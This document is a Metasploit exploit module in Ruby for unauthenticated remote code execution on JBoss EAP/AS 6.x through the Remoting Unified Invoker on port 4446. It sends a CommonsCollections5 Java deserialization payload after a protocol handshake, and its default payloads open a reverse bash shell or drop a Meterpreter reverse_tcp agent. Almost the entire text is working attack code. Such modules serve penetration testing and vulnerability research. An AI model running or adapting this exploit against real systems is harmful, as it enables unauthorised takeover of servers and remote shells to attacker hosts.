JBOSS EAP/AS 6.x Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::JavaDeserialization  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',  
'Description' => %q{  
An unauthenticated attacker with network access to the JBOSS  
EAP/AS <= 6.x Remoting Unified Invoker interface can send a  
serialized object to the interface to execute code on vulnerable hosts.  
},  
'Author' => [  
'Joao Matos <@joaomatosf>', # Discovery  
'Marcio Almeida <@marcioalm>', # PoC  
'Heyder Andrade <@HeyderAndrade>' # msf module  
],  
'References' => [  
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']  
],  
'DisclosureDate' => '2019-12-11',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'printf' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
Opt::RPORT(4446)  
])  
end  
  
def handshake_data  
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER  
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.  
# 00 05: STREAM_VERSION. The serialization version.  
['aced0005'].pack('H*')  
end  
  
def check  
connect  
sock.put(handshake_data)  
data = sock.get_once(16)  
disconnect  
return Exploit::CheckCode::Appears if data == handshake_data  
  
return Exploit::CheckCode::Safe  
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e  
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")  
return Exploit::CheckCode::Unknown  
end  
  
# def exploit  
def execute_command(cmd, _opts = {})  
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)  
# MAGIC BYTES JBOSS PROTOCOL:  
# 0x77: TC_BLOCKDATA  
# 0x01: Length of TC_BLOCKDATA  
# 0x16: Protocol version 22  
# 0x79: TC_RESET  
magic_bytes = ['77011679'].pack('H*')  
payload = magic_bytes + java_payload.byteslice(4..)  
connect  
sock.put(handshake_data)  
sock.get_once(16)  
sock.put(payload)  
disconnect  
print_good('Successfully sent payload')  
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e  
fail_with(Failure::Unreachable, e.message)  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
end  
`